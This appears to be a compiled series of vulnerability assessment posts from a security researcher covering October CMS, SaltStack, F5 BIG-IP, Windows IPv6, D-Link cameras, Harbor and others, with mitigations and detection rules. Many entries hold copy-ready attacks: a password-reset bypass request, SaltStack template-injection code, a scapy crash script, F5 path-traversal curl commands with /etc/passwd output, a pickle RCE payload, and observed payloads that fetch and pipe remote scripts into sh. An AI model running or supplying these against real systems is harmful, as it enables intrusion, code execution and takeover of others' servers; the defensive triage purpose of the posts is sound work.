Ovewrview

This is a simple Type Confusion / Juggling vulnerability.

October CMS will check to see if the User Supplied reset code matches the value in the database return ($this->reset_password_code == $resetCode);
If we can send a boolean value in place of a reset code we can bypass this check.

Laravel has a feature that if an HTTP POST request is sent as JSON then It will be converted to a matching form data set however the types will persist.

To exploit this vulnerability we simply need to set the Content-Type to JSON and structure our POST request accordingly. An example POST is shown below.

POST /backend/backend/auth/reset/1/[] HTTP/1.1
Host: 172.17.0.2
Content-Length: 162
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.17.0.2
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.17.0.2/backend/backend/auth/reset/1/a
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: october_session=eyJpdiI6ImlGZHMrRTVEUGh6dHkxWllEeVF5dEE9PSIsInZhbHVlIjoiV2tkcmsrbkJxa2R6OWg1TVFLbTQ2Y1pTSG9ZT1RYTEFwdlY0YVVRVEU5a0pxbG5LdE81WVpXeDdGa3pHclhTWGhkbEE2WGZPME82aEpVWFBqcktEakR6Qng3WVpsWUdzYm9mOG9cL0YxTjNXbXFyUEZxWGNVM1BrcmJLaFVIZXVaIiwibWFjIjoiZmVkMDljNGE2MDc2ZGI5NjgyOThkMDJjZGFhNDcxYzg3MTNlNmJhZTRiYmIzZmVkYjNmYTUyMzA4ZjQxMjdiNiJ9
Connection: close

{"_session_key":"RQjdfLkFotyuA4BHOjVykboK3DHByTyDFEs7xZXC","_token":"jBD7MXYuIrYC4n0GClVCigIBrSOShoUICwy3gShS","postback":1,"id":1,"code":true,"password":"hello"}

In the Wild

This has not been verified but initial reports suggest this vulnerability was used to deface a set of Ukrainian government websites – https://twitter.com/KimZetter/status/1481890639029551106

PoC

A proof of concept python script that will attempt to reset the password for the admin account has been published – https://github.com/Immersive-Labs-Sec/CVE-2021-32648

Detection

An attacker attempting to exploit this attack will need to trigger a password reset email. If you observe password reset emails then check access to the server and respond accordingly.

Mitigation

Applying the patches will successfully mitigate against this attack.

Vulnerability

This was originally classified as a Local Priv Escalation, however recent POC code has been released that enabled a domain authenticated user to remotely escalate to SYSTEM on vulnerable services

Exploit Code

There are several functional exploits available on Github after the initial repository was removed by the authors.

• https://github.com/afwu/PrintNightmare – A windows binary exploit
  
• https://github.com/cube0x0/CVE-2021-1675 – Python3 using a modified version of impacket
  

Mitigation

Initial testing shows that the patches released are not sufficient to stop this exploit. It has been tested in Server 2016 and Server 2019.

Disable the print spooler can prevent exploitation.

Event logs can be found for both successful and non-successful exploit attempts in some situations.

Sigma rules can be found: https://github.com/SigmaHQ/sigma/pull/1592

Vulnerability

The D-LInk DCS-2530L is an IP Camera. This means it is more likely to be a target for botnets / IoT auto exploitation rather than anything else.

Triggering the exploit is very simple its just a GET request to the /config/getuser?index=0" endpoint and it returns the user|password combinations in clear text.

This can be paired with a second vulnerability reported at the same time, an authenticated command injection vuln, to gain access. See the exploited section below for more details.

resources

The original tweets have been deleted but archive.org has them

https://web.archive.org/web/20200617135938/https://twitter.com/Dogonsecurity/status/1273251236167516161

In the wild.

My honeypots picked up a couple of pings on this, I am assuming automated scanning by some botnets.

{
    "http_headers": {
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "en-GB,en;q=0.5",
        "Connection": "close",
        "Host": "REDACTED:8080",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0"
    },
    "http_host": "REDACTED:8080",
    "http_method": "GET",
    "http_path": "/config/getuser",
    "http_post": {},
    "http_query": "/config/getuser?index=0",
    "http_remote": "205.185.122.102",
    "http_scheme": "http",
    "http_version": "HTTP/1.1",
    "src_ip": "205.185.122.102"
}

Vulnerability

https://saltproject.io/security_announcements/active-saltstack-cve-release-2021-feb-25/

This vulnerability is an Auth bypass in the SaltStack API, specifically, when making requests to the wheel_async client no checks are made to verify the requester is authenticated.

Salt stack is commonly used to automate CI/CD tasks and control the installation of software and packages across large organisations, which makes this an interesting target for attackers. The API is not started by default and is an optional component that may limit the attack surface for organisations.

Exploiting

This is fairly trivial to exploit in order to run jobs against the salt master, however, there are some limitation in what actions you can perform. There is no cmd execution function.

a very simple example

import requests
response = requests.post(
    'https://127.0.0.1:8000/run',
    verify=False,
    json={
        'eauth': 'auto',
        'client': 'wheel_async',
        'fun': 'pillar_roots.write',
        'data': '{{ salt["cmd.run"]("id > /tmp/whoami")  }}',
        'path': '../../../../../../srv/salt/pwn.sls',
    },
)
if json := response.json():
    print(f'Got JID: {json["return"][0]["jid"]}, the task was queued successfully')

You can edit the salt master configuration variables which include the ability to set the auth_mode and sharedsecrets if the API is restarted your changes take effect at which point you gain the ability to execute code against the master.

You can pair this with a path traversal vulnerability that was patched at the same time to gain file write into the OS. The default installation on Ubuntu the API runs as root so you can use actions like editing /etc/passwd or writing ssh-keys to /root/.ssh/id_rsa

POC available at https://github.com/Immersive-Labs-Sec/CVE-2021-25281

Detection

The API typically runs on HTTPS so unless you are inspecting SSL this may be difficult to detect with traditional packet analysis.
As this is exploiting the async functionality every request to the instance will create a salt job. Salt stores the input and output of every job on disk so can be easy to review post compromise activity.

More details can be found in this article – https://www.immersivelabs.com/resources/blog/how-to-lock-onto-the-hackers-targeting-saltstack-minions/

Patching

Patches are available for this both from Salt and most package providers. Hardening your instance to prevent access from untrusted IPs can also reduce the risk.

Overview

Crafting IPv6 ICMP Router Advertisement Packets can lead to DOS or potential RCE on vulnerable devices. It is going to be difficult to develop a Full RCE with this exploit. You should of course patch quickly, however you do not need to “panic” when applying patches and mitigations for this across your estate.

The range of Windows Operating Systems impacted by this exploit is smaller than expected as this is a relatively new feature in the code. Server 2019 is not widely used on the open internet so is unlikely to garner much attention and Automatic Security Updates to windows 10 devices should mean that organisations are less vulnerable to this becomes a widespread effective exploit.

Mitigation

Patching is of course the best mitigation.

Disable IPv6 is a mitigation I have seen talked about this is a bad idea if you don’t understand what on your system may already be using it. Instead, disable the specific feature netsh int ipv6 set int *INTERFACENUMBER* rabaseddnsconfig=disable

Detection

Suricata – https://github.com/advanced-threat-research/CVE-2020-16898
Snort – https://www.snort.org/rule_docs/1-55984
Zeek – https://github.com/corelight/CVE-2020-16898

Resources

Microsoft Advisory – https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898

McAfee have a great writeup that details the vulnerability so I’m not going to repeat that read it from the source :)
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/cve-2020-16898-bad-neighbor/

QuarksLab have also released a detailed blog post explaining how they were able to create a PoC – https://blog.quarkslab.com/beware-the-bad-neighbor-analysis-and-poc-of-the-windows-ipv6-router-advertisement-vulnerability-cve-2020-16898.html

Context

There are two elements to this vulnerability:

DOS

It is trivial to trigger a crash condition that will lead to BSOD and force a restart of the OS. The POC contains python scapy code that can be used to crash a vulnerable target

RCE

Whilst RCE is technically possible gaining it from this exploit alone is extremely difficult due to the nature of the vuln and the protections in place on modern Windows.

Paired with another vulnerability that can leak additional information in memory it is possible this could lead to RCE and from there to a wormable exploit.

Proof Of Concept

The QuarksLab research includes a Python PoC that is successful at triggering a Crash. The poc is replicated and very slightly modified here.

from scapy.all import *

def trigger(target_addr):
    ip = IPv6(dst = target_addr)
    ra = ICMPv6ND_RA()

    rdnss = ICMPv6NDOptRDNSS(lifetime=900, dns=["3030:3030:3030:3030:3030:3030:3030:3030",
            "3131:3131:3131:3131:3131:3131:3131:3131"])
    # We put an even value for the option length (original length was 5)
    rdnss.len = len(rdnss.dns) * 2
    truncated = bytes(rdnss)[: (rdnss.len-1) * 8]

    # The last 8 bytes of the crafted RDNSS option are interpreted as the start of a second option
    # We build a Route Information Option here
    # https://tools.ietf.org/html/rfc4191#section-2.3
    # Second byte (0x22) is the Length. This controls the size of the buffer overflow
    # (in this case, 0x22 * 8 == 0x110 bytes will be written to the stack buffer)
    routeinfo = b'\x18\x22\xfd\x81\x00\x00\x03\x84'

    # the value that overwrites the return address is taken from here
    correct = ICMPv6NDOptRDNSS(lifetime=900, dns=["4141:4141:4141:4141:4141:4141:4141:4141",
            "4242:4242:4242:4242:4242:4242:4242:4242"])

    crafted = truncated +  routeinfo

    FH=IPv6ExtHdrFragment()
    ip.hlim = 255
    packet = ip/FH/ra/crafted/correct/correct/correct/correct/correct/correct/correct/correct/correct

    #send(packet)
    #return

    frags=fragment6(packet, 100)
    print("len of packet: %d | number of frags: %d" % (len(packet), len(frags)))
    packet.show()

    for frag in frags:
        send(frag, verbose=False)

target_addr = "fe80::3935:5625:ea02:25c9"
trigger(target_addr)

BIG-IP platforms with Cavium Nitrox SSL hardware acceleration cards, a virtual server configured with a Client SSL profile, and using Anonymous Diffie-Hellman (ADH) or Ephemeral Diffie-Hellman (DHE) key exchange and Single DH use option not enabled in the options list may be vulnerable to crafted SSL/Transport Layer Security (TLS) handshakes that may result with a pre-master secret (PMS) that starts in a 0 byte and may lead to a recovery of plaintext messages as BIG-IP TLS/SSL ADH/DHE sends different error messages acting as an oracle. Differences in processing time when the PMS starts with 0 byte coupled with very precise timing measurement observation may also expose this vulnerability.

Thats a lot to take in …
A recent research study identified a timing attack against TLS that could be used to recover a shared secret that could then be used to recover plaintext of previously captured data.

In order to be successful outside of a testing environment, an attacker would need to intercept encrypted traffic and then send specially crafted TLS packets to a vulnerable server in the hopes of recovering enough data to decrypt the previously intercepted traffic.

Conditions

This vulnerability affects BIG-IP systems with virtual servers associated with a Client SSL profile under the following conditions:

• You are using ADH or DHE key exchange in the Client SSL profile.

  • Note: DHE is enabled by default in the DEFAULT cipher suite. ADH is not available in the DEFAULT cipher suite.
    

• You have not enabled the Single Diffie-Hellman use option—or Single DH use option—in the Client SSL profile.

  • Note: The Single DH use option is not enabled by default in the Client SSL profile options list.
    

• Your BIG-IP platform has a Cavium Nitrox SSL hardware acceleration card installed. Platforms with this installed include:

  • BIG-IP i11400-DS, i11600-DS, i11800-DS
    
  • BIG-IP 1600, 3600, 3900, 5000, 6900, 7000, 8900, 10000, 11000, 12000
    
  • VIPRION 2100, 2150, 2250, 4100, 4200, 4300
    

Mitigations

F5 have released a set of mitigations that will prevent this attack on vulnerable server until they can be patched.

• Log in to the Configuration utility.
  
• Go to Local Traffic > Profiles > SSL > Client.
  
• Select the Client SSL profile.
  
• In the Configuration list, select Advanced.
  
• In the Options section, in the list, select Options List.
  
• In the Options List section, under Available Options, select Single DH use, and then select Enable.
  
• The Single DH Use option displays under Enabled Options.
  
• In Ciphers, in the text box, enter a cipher string that disables ADH or DHE, such as the following example:
  !DHE:!ADH:ALL
  
• In Unclean Shutdown, select Enabled.
  
• At the bottom of the page, select Update.

This is still a provisional assessment pending more research.

A high severity issue has been discovered in Citrix StoreFront that, if exploited, would allow an attacker who is authenticated on the same Microsoft Active Directory domain as a Citrix StoreFront server to read arbitrary files from that server.

This CVE is for Citrix StoreFront that allows an authenticated user to gain arbitrary file read on to the StoreFront server. This could lead to further compromise depending on the ability to exploit data recovered from the server.

The official statement from Citrix can be found here. https://support.citrix.com/article/CTX277455

Updates are availaible

• Citrix StoreFront 1912 CU1 (1912.0.1000) and later versions of Citrix StoreFront 1912 LTSR
  
• Citrix StoreFront 3.0 for 7.6 LTSR CU8 Hotfix (3.0.8001) and later versions of StoreFront 3.0 for 7.6 LTSR
  
• Citrix StoreFront 3.12 for 7.15 LTSR CU5 Hotfix (3.12.5001) and later versions of StoreFront 3.12 for 7.15 LTSR
  

The advisory states that attackers must be authenticated in the same Microsoft Active Directory domain as the StoreFront server, if not this vulnerability is not exploitable.
This significantly impacts the ability for an attacker to exploit this vulnerability. An attacker would have to be:

• An insider threat with technical knowledge
  
• An attacker that already has authenticated access to the domain

Overview

This one is Critical to patch quickly with a CVSS Score of 10.

If an attacker can gain access to the TMUI Configuration utility port they can gain unauthenticated Remote Code Execution. All version of Big IP from 11.x through 15.x are vulnerable.

Patch & Mitigation

Patches are out but F5 have also listed a set of Mitigation techniques to reduce the attack surface. This takes it from Unathenticated RCE to Authenticated RCE, Which is still bad.

Refer to the F5 Article for details. – https://support.f5.com/csp/article/K52145254

Cloud Services

If you are using AWS, Azure, GCP cloud images Check the version number is fully patched against the correct version numbers.

• At the time of Writing AWS MarketPlace version is 15.1.0.2-0.0.9
  

In the wild POC

Within 24 hours this has been exploited in the wild with simple to replicate Proof Of Concepts.

Core Vulnerability.

The core of this vulnerability lies in a path traversal that leads to auth bypass. With this you can use built in functions to gain file read / write or you can access the web based shell to create accounts with shell access.

Here are some redacted examples. The redaction will be removed once more details are public.
Enough information is now public that I am removing the redaction. The following examples show:

• File read
  
• File Write
  
• tmsh access
  

curl --insecure  'https://f5-bigip.home.lab:8443/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'


{"output":"root:x:0:0:root:\/root:\/sbin\/nologin\nbin:x:1:1:bin:\/bin:\/sbin\/nologin\ndaemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\nadm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\nlp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\nmail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\noperator:x:11:0:operator:\/root:\/sbin\/nologin\nnobody:x:99:99:Nobody:\/:\/sbin\/nologin\ntmshnobody:x:32765:32765:tmshnobody:\/:\/sbin\/nologin\nadmin:x:0:500:Admin User:\/home\/admin:\/bin\/bash\nvcsa:x:69:69:virtual console memory owner:\/dev:\/sbin\/nologin\ndbus:x:81:81:System message bus:\/:\/sbin\/nologin\nsystemd-bus-proxy:x:974:998:systemd Bus Proxy:\/:\/sbin\/nologin\nsystemd-network:x:192:192:systemd Network Management:\/:\/sbin\/nologin\npolkitd:x:27:27:User for polkitd:\/:\/sbin\/nologin\nnslcd:x:65:55:LDAP Client User:\/:\/sbin\/nologin\ntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:\/dev\/null:\/sbin\/nologin\npostgres:x:26:26:PostgreSQL Server:\/var\/local\/pgsql\/data:\/sbin\/nologin\ntomcat:x:91:91:Apache Tomcat:\/usr\/share\/tomcat:\/sbin\/nologin\nhsqldb:x:96:96::\/var\/lib\/hsqldb:\/sbin\/nologin\nsshd:x:74:74:Privilege-separated SSH:\/var\/empty\/sshd:\/sbin\/nologin\nrpc:x:32:32:Rpcbind Daemon:\/var\/lib\/rpcbind:\/sbin\/nologin\nntp:x:38:38::\/etc\/ntp:\/sbin\/nologin\nf5_remoteuser:x:499:499:f5 remote user account:\/home\/f5_remoteuser:\/sbin\/nologin\ntcpdump:x:72:72::\/:\/sbin\/nologin\noprofile:x:16:16:Special user account to be used by OProfile:\/:\/sbin\/nologin\nsdm:x:191:996:sdmuser:\/var\/sdm:\/bin\/false\nnamed:x:25:25:Named:\/var\/named:\/bin\/false\napache:x:48:48:Apache:\/usr\/local\/www:\/sbin\/nologin\nsyscheck:x:199:10::\/:\/sbin\/nologin\nmysql:x:98:98:MySQL server:\/var\/lib\/mysql:\/sbin\/nologin\nrestnoded:x:198:198::\/:\/sbin\/nologin\nGuest:x:16110:500:Guest:\/home\/Guest:\/sbin\/nologin\n"}%           

This doesn’t only affect the login.jsp path it can be used from anywhere.

curl --insecure  'https://f5-bigip.home.lab:8443/tmui/tmui/login/welcome.jsp/..;/..;/locallb/workspace/fileRead.jsp?fileName=/etc/passwd' 


{"output":"root:x:0:0:root:\/root:\/sbin\/nologin\nbin:x:1:1:bin:\/bin:\/sbin\/nologin\ndaemon:x:2:2:daemon:\/sbin:\/sbin\/nologin\nadm:x:3:4:adm:\/var\/adm:\/sbin\/nologin\nlp:x:4:7:lp:\/var\/spool\/lpd:\/sbin\/nologin\nmail:x:8:12:mail:\/var\/spool\/mail:\/sbin\/nologin\noperator:x:11:0:operator:\/root:\/sbin\/nologin\nnobody:x:99:99:Nobody:\/:\/sbin\/nologin\ntmshnobody:x:32765:32765:tmshnobody:\/:\/sbin\/nologin\nadmin:x:0:500:Admin User:\/home\/admin:\/bin\/bash\nvcsa:x:69:69:virtual console memory owner:\/dev:\/sbin\/nologin\ndbus:x:81:81:System message bus:\/:\/sbin\/nologin\nsystemd-bus-proxy:x:974:998:systemd Bus Proxy:\/:\/sbin\/nologin\nsystemd-network:x:192:192:systemd Network Management:\/:\/sbin\/nologin\npolkitd:x:27:27:User for polkitd:\/:\/sbin\/nologin\nnslcd:x:65:55:LDAP Client User:\/:\/sbin\/nologin\ntss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:\/dev\/null:\/sbin\/nologin\npostgres:x:26:26:PostgreSQL Server:\/var\/local\/pgsql\/data:\/sbin\/nologin\ntomcat:x:91:91:Apache Tomcat:\/usr\/share\/tomcat:\/sbin\/nologin\nhsqldb:x:96:96::\/var\/lib\/hsqldb:\/sbin\/nologin\nsshd:x:74:74:Privilege-separated SSH:\/var\/empty\/sshd:\/sbin\/nologin\nrpc:x:32:32:Rpcbind Daemon:\/var\/lib\/rpcbind:\/sbin\/nologin\nntp:x:38:38::\/etc\/ntp:\/sbin\/nologin\nf5_remoteuser:x:499:499:f5 remote user account:\/home\/f5_remoteuser:\/sbin\/nologin\ntcpdump:x:72:72::\/:\/sbin\/nologin\noprofile:x:16:16:Special user account to be used by OProfile:\/:\/sbin\/nologin\nsdm:x:191:996:sdmuser:\/var\/sdm:\/bin\/false\nnamed:x:25:25:Named:\/var\/named:\/bin\/false\napache:x:48:48:Apache:\/usr\/local\/www:\/sbin\/nologin\nsyscheck:x:199:10::\/:\/sbin\/nologin\nmysql:x:98:98:MySQL server:\/var\/lib\/mysql:\/sbin\/nologin\nrestnoded:x:198:198::\/:\/sbin\/nologin\nGuest:x:16110:500:Guest:\/home\/Guest:\/sbin\/nologin\n"}

curl --insecure  'https://f5-bigip.home.lab:8443/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

Outline

Untrusted data from the client side is used to create a python pickled object. This can lead to full RCE and compromise of the host. There are some limitations and this is not the default configuration.

Impact

If you can control the input it may be possible to gain code execution on the underlying server. With code execution you can gain full access to the database and its data.

Limitations

• The helpdesk module is not enabled by default.
  
• A valid authenticated account with permissions to access /tickets
  

Patch

This doesn’t not appear to be patched in the latest release, although it has been acknowledged

POC

It is fairly easy to create a functional POC against this target if the feature is enabled.

Modify the following POC to fit your needs.

import pickle
import base64
import os


class RCE:
    def __reduce__(self):
        cmd = ('curl 172.22.0.1:1234')
        return os.system, (cmd,)


if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(base64.urlsafe_b64encode(pickled))

tldr

The use of unserialize in PHP that accepts user data. There is no sequence of code that can be exploited to gain code execution using this method.

Outline

Passing user-controlled data to unserialize in PHP is always a bad idea. However, in order to be exploitable there needs to be additional code that will process the data through the use of Magic Methods. There do not appear to be any dangerous methods that take this data in the current version of the PHP script.

If the base PHP version that is running this application also happens to be a version of PHP vulnerable to https://www.cvedetails.com/cve/CVE-2017-5340/ Then there is an increased possibility of gaining code execution using this methodology.

Patch

At the time of release, there is no official patch although third party patches have been made available here

tldr

The use of unserialize in PHP that accepts user data. There is no sequence of code that can be exploited to gain code execution using this method.

Outline

Passing user-controlled data to unserialize in PHP is always a bad idea. However, in order to be exploitable there needs to be additional code that will process the data through the use of Magic Methods. There do not appear to be any dangerous methods that take this data in the current version of the PHP script.

If the base PHP version that is running this application also happens to be a version of PHP vulnerable to https://www.cvedetails.com/cve/CVE-2017-5340/ Then there is an increased possibility of gaining code execution using this methodology.

Patch

At the time of release, there is no official patch although third party patches have been made available here

This one has a name and a website. – https://callstranger.com/

There is also a github repository that has PoC code, this code will scan your local IP range to determine if you have vulnerable devices. Be aware this POC will send data about your network out to a 3rd party. It claims to encrypt this data, but I have not reviewed the implementation.
It may not have a list of internal UPNP Devices, but it will have a record of your IP, how much data was sent.

https://github.com/yunuscadirci/CallStranger

Root Cause

A Callback header that can be controlled by the attacker in the UPnP SUBSCRIBE functionality can lead to SSRF-Like behaviour

Threat

DDOS:

This seems to be the obvious one that will get picked up by most botnet operators at some point.

DLP

Don’t expect this to be a likely threat, there are easier ways to bypass outgoing DLP restrictions than this.

SSRF Like

Needs more review but Scanning internal ports from Internet-facing UPnP devices could be useful, depending on what data is returned.

Overview

For Salt Master before 2019.2.4 and 3000 before 3000.2 there is potential for RCE as root.

If a salt-master has its ZeroMQ ports 4506 exposed to the public it is possible for an unauthenticated user to gain access to the root_key. With access to the root key it is possible to run a wide range of salt commands that include file read, file write and command execution. These commands can be executed on the salt-master and any minion that is connected.

This requires multiple socket requests. one to read the key and then additional requests to create jobs.

Proof Of Concept

This POC was tested on SaltStack 2019.2.0

As of the time of writing this assessment I have been able to create a functional exploit POC. The Code can be found here – https://github.com/kevthehermit/CVE-2020-11651

The POC and others I am sure will appear shortly has the following functionality

• Read the root key
  
• Read and Write files on the Salt Master
  
• Construct a payload to gain full RCE as root on any connected Minion
  

This took several hours and is “easy” with the available information and access to a test instance. Details on the discovery process can be found on our blog – https://immersivelabs.com/2020/05/06/hackers-are-currently-attacking-vulnerable-saltstack-systems/

Mitigations:

Patch to the latest versions and do not expose theses ports to the external network.

Detections

examine /var/cache/salt/master/jobs/ on the salt master for a listing of all jobs. the return.p file in these dirs will contain a detailed description of the request and the response. This data is serialised.

Immersive Labs have released a basic python script to parse all these job files – https://immersivelabs.com/2020/05/06/how-to-lock-onto-the-hackers-targeting-saltstack-minions/

# cat /var/cache/salt/master/jobs/65/6e5fa0837ca5f3d391c4d70d345ee25baed089b970a78a934709e80d083f95/7a5388b6a882_master/return.p
��return��fun�wheel.file_roots.read�jid�20200501195107225222�user�UNKNOWN�fun_args��../../../../etc/shadow��saltenv�base�_stamp�2020-05-01T19:51:07.229260�return��� /srv/salt/../../../../etc/shadow��root:!::0:::::
bin:!::0:::::
daemon:!::0:::::
adm:!::0:::::
lp:!::0:::::
sync:!::0:::::
shutdown:!::0:::::
halt:!::0:::::
mail:!::0:::::
news:!::0:::::
uucp:!::0:::::
operator:!::0:::::
man:!::0:::::
postmaster:!::0:::::
cron:!::0:::::
ftp:!::0:::::
sshd:!::0:::::
at:!::0:::::
squid:!::0:::::
xfs:!::0:::::
games:!::0:::::
postgres:!::0:::::
cyrus:!::0:::::
vpopmail:!::0:::::
ntp:!::0:::::
smmsp:!::0:::::
guest:!::0:::::
nobody:!::0:::::
salt:!:18164:0:99999:7:::

Snort Rule:

alert tcp $EXTERNAL_NET any -> $HOME_NET 4506 (msg:"Salt Stack root_key read attempt"; content:"_prep_auth_info"; sid:1000000; rev:1;)

On the wire it looks a bit like this so a stronger rule can be created
b'\x82\xa3enc\xa5clear\xa4load\x81\xa3cmd\xaf_prep_auth_info'

In the wild

The following IPS have been observed sending malicious payloads. other IPS have been seen scanning.

• 95.181.178.108
  
• 89.151.132.112
  
• 89.27.255.58
  
• 104.244.76.189
  
• 95.213.139.92
  
• 81.92.218.74
  
• 178.44.87.133
  

Payloads

The following Payloads have been observed

• (curl -s 95.142.44.216/sa.sh||wget -q -O- 95.142.44.216/sa.sh)|sh
  
• import subprocess;subprocess.call(\"(curl -s 95.142.44.216/sa.sh||wget -q -O- 95.142.44.216/sa.sh)|sh\",shell=True)
  
• /bin/sh -c '(wget -qO- -t3 -w1 -T10 --no-http-keep-alive http://94.253.90.22:44444/ || curl -fs --connect-timeout 5 -m10 --retry 3 http://94.253.90.22:44444/)|sh -s -- 94.253.90.22:44445 G9/kjA/vdOSlUG3q+lz6DZwzr0rgiNWRfbb2UZcnYgmUY01gHW5tQrS6SgjiN/6doZfjvmc='
  
• (curl -s anagima3.top/sa.sh||wget -q -O- anagima3.top/sa.sh)|sh
  
• (curl -s 95.142.44.216/sa.sh||wget -q -O- 95.142.44.216/sa.sh)|sh
  
• (curl -s 176.104.3.35/?6920||wget -q -O- 176.104.3.35/?6920)|sh
  
• /bin/sh -c 'wget -qO- -t3 -w1 -T10 --no-http-keep-alive http://217.25.227.174:44444/?i=[redacted_ip]
  

There are a lot of moving parts to be able to exploit this. But if successful will give an attacker a container escape on to the kube host.
An attacker must already have shell access to a container and there must be a process running from the host that uses the kubectl cp command.
This is occasionally seen used to copy files like log files out of a container to the host for backup or additional processing.

If a user can replace the tar binary in the container it is possible to perform actions like editing the .bashrc file on the host. This could be used to create new SSH accounts, or establish a reverse shell as that user. Typically with root permissions.

There are three specific requirements for an application to be vulnerable:

• Vulnerable version !
  
• Using a Database for storage
  
• Self Registration enabled.
  

Self-registration is not a very common setting but it has been seen.

If you are able to register your own account it is trivial to modify a POST request and elevate yourself to admin permissions.

POST /api/users HTTP/1.1
Host: 10.102.7.190
Content-Type: application/json
Content-Length: 95
Connection: close


{"username":"Tom","email":"Tom@demo.local","realname":"Tom","password":"Password1","comment":null, "has_admin_role":"true"}

If you have access to the repository as an admin you can manipulate the containers and even gain further access in to the network if you can read and or modify any of the cotanienrs or their secrets.